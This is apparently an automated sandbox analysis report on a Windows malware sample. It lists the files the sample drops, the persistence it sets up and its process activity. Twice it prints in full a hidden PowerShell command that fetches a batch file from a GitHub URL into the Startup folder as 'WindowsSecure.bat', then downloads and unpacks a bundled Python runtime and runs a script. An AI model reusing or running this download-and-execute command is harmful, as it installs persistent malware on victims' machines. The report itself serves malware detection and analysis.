Source: libssl-1_1.dll.3.dr	Static PE information: section name: .00cfg
Source: winxpgui.pyd.3.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FF7BFEC00BD pushad ; iretd

3_2_00007FF7BFEC00C1

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ras.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32process.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32profile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\winxpgui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32print.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32security.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32transaction.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32trace.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_winxptheme.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ts.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32service.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
